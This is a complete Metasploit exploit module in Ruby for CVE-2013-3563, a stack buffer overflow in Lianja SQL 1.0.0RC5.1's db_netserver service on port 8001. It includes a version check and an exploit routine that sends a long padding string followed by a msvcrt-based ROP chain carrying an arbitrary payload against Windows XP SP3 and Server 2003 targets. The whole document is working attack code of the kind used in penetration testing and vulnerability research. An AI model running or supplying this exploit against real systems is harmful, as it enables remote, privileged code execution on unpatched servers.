Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# web site for more information on licensing and terms of use.  
# http://metasploit.com/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::RopDb  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in the db_netserver process which  
is spawned by the Lianja SQL server. The issue is fixed in Lianja SQL 1.0.0RC5.2.  
},  
'Author' => 'Spencer McIntyre',  
'License' => MSF_LICENSE,  
'References' => [  
[ 'CVE', '2013-3563' ]  
],  
'DefaultOptions' =>  
{  
'WfsDelay' => 20  
},  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Payload' =>  
{  
'StackAdjustment' => -3500,  
'Space' => 500,  
'BadChars' => "\x01"  
},  
'Targets' =>  
[  
[ 'Lianja SQL 1.0.0RC5.1 / Windows Server 2003 SP1-SP2', { 'rop_target' => '2003' } ],  
[ 'Lianja SQL 1.0.0RC5.1 / Windows XP SP3', { 'rop_target' => 'xp' } ],  
],  
'DefaultTarget' => 0,  
'Privileged' => true,  
'DisclosureDate' => 'May 22 2013'))  
  
register_options(  
[  
Opt::RPORT(8001),  
], self.class)  
end  
  
def check  
begin  
connect  
rescue  
return Exploit::CheckCode::Safe  
end  
sock.put("db_net")  
if sock.recv(4) =~ /\d{1,5}/  
return Exploit::CheckCode::Detected  
end  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
sock.put("db_net")  
sock.recv(4)  
  
print_status("#{rhost}:#{rport} - Sending Malicious Data")  
evil_data = '000052E1'  
evil_data << 'A'  
evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur  
evil_data << generate_rop_payload('msvcrt', payload.encoded, {'target' => target['rop_target']})  
sock.put(evil_data)  
disconnect  
end  
end  
`